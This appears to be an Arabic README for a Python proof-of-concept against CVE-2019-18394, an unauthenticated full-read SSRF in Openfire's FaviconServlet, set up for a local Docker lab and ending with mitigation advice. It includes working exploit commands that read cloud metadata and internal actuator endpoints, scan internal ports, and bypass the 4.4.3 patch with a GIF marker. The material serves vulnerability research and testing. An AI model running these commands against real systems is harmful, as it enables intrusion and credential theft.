
PoC لـ CVE-2019-18394: SSRF بقراءة كاملة بدون مصادقة في Openfire <= 4.4.2 FaviconServlet
تزوير طلب من جانب الخادم (SSRF) بدون مصادقة في Ignite Realtime Openfire 4.4.2 والإصدارات الأقدم (وحدة تحكم المسؤول، منفذ TCP الافتراضي 9090/9091). تم إصلاحه في 4.4.3 (المشكلة OF-1885).
host في عنوان URL صادر دون أي
تحقق، لذا يُصدر الخادم طلب HTTP GET يختاره المهاجم./getFavicon ليس خلف AuthCheckFilter الخاص بوحدة تحكم المسؤول ويستجيب
حتى بينما لا يزال الخادم في حالته الأولية غير المُهيأة.للاختبار المصرّح به فقط. كل ما هنا يستهدف مختبرًا محليًا تُقيمه بنفسك.
org.jivesoftware.util.FaviconServlet (Openfire 4.4.2):
public void doGet(HttpServletRequest request, HttpServletResponse response) {
String host = request.getParameter("host"); // attacker-controlled
host = "gmail.com".equals(host) ? "google.com" : host;
byte[] bytes = getImage(host, defaultBytes);
if (bytes != null) { writeBytesToStream(bytes, response); } // body returned to caller
}
private byte[] getImage(String host, byte[] defaultImage) {
...
byte[] bytes = getImage("http://" + host + "/favicon.ico"); // unvalidated concatenation
...
}
private byte[] getImage(String url) {
...
try (CloseableHttpResponse response = client.execute(getRequest)) {
if (response.getStatusLine().getStatusCode() == HttpStatus.SC_OK) {
return EntityUtils.toByteArray(response.getEntity()); // full body, not just an image
}
} ...
}
بدون مصادقة. في xmppserver/src/main/webapp/WEB-INF/web.xml، فلتر AuthCheck مُعيَّن
فقط إلى *.jsp وPluginServlet وdwr-invoker. أما FaviconServlet فمُعيَّن إلى
المسار العادي /getFavicon، لذا لا يعمل أي فلتر مصادقة عليه.
مسار عشوائي، وليس مجرد مضيف عشوائي. الكود يثبّت اللاحقة /favicon.ico بشكل صلب.
إنهاء host بسلسلة استعلام يدفع تلك اللاحقة إلى قيمة معامل:
host = of_internal/secret?x= produces http://of_internal/secret?x=/favicon.ico
المخطط مثبّت على http://. أهداف https:// غير قابلة للوصول مباشرة، لكن عميل
الـ servlet يستخدم LaxRedirectStrategy، لذا فإن نقطة نهاية http التي تعيد التوجيه 302 إلى الأمام تصبح قابلة للوصول.
final byte[] result = EntityUtils.toByteArray(response.getEntity());
if (!GraphicsUtils.isImage(result)) { // OF-1885
return null; // withhold non-image bodies
}
return result;
GraphicsUtils.isImage() هو ImageIO.read(bytes) != null، أي فحص للمحتوى وليس فحصًا للوجهة.
شيئان ينجوان من الترقيع:
/images/server_16x16.gif على القرص كخط أساس: فالخادم الذي فشل في
تحميله عند التهيئة يعيد جسم فشل فارغ بدلاً من ذلك، وعدم تطابق الاثنين يعطي نتائج خاطئة.200 بينما مسار شقيق غير مُعيَّن يجيب بـ 404،
مما يفصل تعيين FaviconServlet الحقيقي عن أي مسار شامل.FaviconServlet الإصابات والفشل مؤقتًا بمفتاح هو host الخام ويقطع الدائرة بعد فشلين.
تضيف الأداة كاسر تخزين مؤقت فريد cb= إلى كل فحص حتى لا تُخدَم عمليات التشغيل المتكررة بنتائج قديمة.مكتبة Python 3 القياسية، بدون تبعيات.
check confirm the bug: unauth endpoint + out-of-band callback + response disclosure
read fetch an arbitrary http:// URL through the target (full-read SSRF)
scan probe internal TCP ports from the target's network position
# confirm. --callback-host is the address the TARGET calls back to (IP or FQDN).
python3 cve_2019_18394_poc.py check -t 10.0.0.5:9090 --callback-host 192.168.1.20 --json out.json
# read an internal-only resource the tester cannot reach directly
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://127.0.0.1:8080/actuator/env
python3 cve_2019_18394_poc.py read -t 10.0.0.5:9090 -d http://169.254.169.254/latest/meta-data/
# map internal services
python3 cve_2019_18394_poc.py scan -t 10.0.0.5:9090 --host 127.0.0.1 --ports 80,443,8080-8090
الخيارات: --callback-host (العنوان الذي يتصل به الهدف عائدًا)، --listen-bind / --listen-port
(المستمع المحلي)، --marker-format gif (إعادة محتوى قابل لتحليل الصور يجتاز بوابة
isImage() في 4.4.3)، --proxy، --json.
رموز الخروج: 0 نجاح، 1 اكتشاف، 2 خطأ أو غير قابل للاستغلال، 3 غير حاسم.
إعداد Docker تفاضلي: إصدار 4.4.2 القابل للاستغلال (وحدة التحكم على :9090)، وإصدار 4.4.3 المُرقَّع (على :9092)،
وخدمة داخلية فقط لا يستطيع المضيف الوصول إليها مباشرة.
docker network create cve18394_internal
printf '%s\n' '<h1>INTERNAL SERVICE</h1>' \
'SECRET_FLAG=CVE-2019-18394_ssrf_reached_internal_service_ok' > /tmp/internal-index.html
# internal nginx: no host port mapping, so unreachable from the host, reachable from Openfire
docker run -d --name of_internal --network cve18394_internal \
-v /tmp/internal-index.html:/usr/share/nginx/html/index.html:ro nginx:alpine
docker run -d --name of442 --network cve18394_internal -p 9090:9090 -p 9091:9091 \
gizmotronic/openfire:4.4.2 && docker network connect bridge of442 # VULNERABLE
docker run -d --name of443 --network cve18394_internal -p 9092:9090 \
gizmotronic/openfire:4.4.3 && docker network connect bridge of443 # PATCHED
لا يوجد لـ nginx الداخلي تعيين منفذ على المضيف، لذا فإن الجلب المباشر من المضيف يعيد HTTP 000،
لكن Openfire يستطيع الوصول إليه. قراءة SECRET_FLAG الخاص به تُثبت أن الطلب عبر
حدود الثقة. على Docker Desktop يصل الهدف إلى المستمع لديك عبر host.docker.internal (مرّره
إلى --callback-host). على Docker الأصلي في Linux، استخدم عنوان البوابة docker0 أو احذف
--callback-host للكشف التلقائي.
# once both consoles answer on :9090 and :9092
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9090 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py check -t 127.0.0.1:9092 --callback-host host.docker.internal
python3 cve_2019_18394_poc.py read -t 127.0.0.1:9090 -d http://of_internal/
وصل كل اتصال عائد بـ User-Agent: Apache-HttpClient/... (Java/...)، مما يؤكد أن الطلب
جاء من عميل HTTP الخاص بـ Openfire نفسه، وليس من الأداة.
ملاحظة: نتيجة gif تؤكد SSRF القراءة الكاملة لكنها لا تميّز 4.4.2 من 4.4.3، لأن الكشف على شكل صورة يعمل على كليهما. استخدم علامة النص الافتراضية للتمييز بين ما قبل الإصلاح وما بعده.
read: كشف 4.4.2 عن SECRET_FLAG الداخلي؛ حجب 4.4.3 صفحة HTML لكنه لا يزال
يعيد ملف .gif داخلي تم جلبه عبر حيلة المسار.
docker rm -f of442 of443 of_internal && docker network rm cve18394_internal # tear down
قم بالترقية إلى Openfire 4.4.3 أو أحدث. إصلاح isImage() لا يوقف الطلب الصادر أو
الكشف على شكل صورة، لذا حيث تكون ميزة وكيل الأيقونات المفضلة غير ضرورية، قيّد أيضًا الخروج
من مضيف Openfire وضع وحدة تحكم المسؤول (9090/9091) خلف ضوابط الشبكة.
cve_2019_18394_poc.py the PoC (check / read / scan), Python 3 stdlib, no dependencies
README.md this document
يكتب check سجل أدلة JSON عند تمرير --json <file>.
| الهدف | العلامة | الاتصال العائد | الجسم المكشوف | الحكم | الخروج |
|---|
| 4.4.2 (قابل للاستغلال) | نص | نعم | نعم، حرفيًا | VULNERABLE (غير مُرقَّع) | 1 |
| 4.4.3 (مُرقَّع) | نص | نعم | لا، محجوب بواسطة isImage() | PARTIALLY_MITIGATED (SSRF أعمى) | 1 |
| 4.4.3 (مُرقَّع) | gif | نعم | نعم، صورة + نص تابع | VULNERABLE قراءة كاملة (انظر الملاحظة) | 1 |
| غير Openfire (nginx) | لا ينطبق | لا ينطبق | لا ينطبق | نقطة النهاية غائبة | 2 |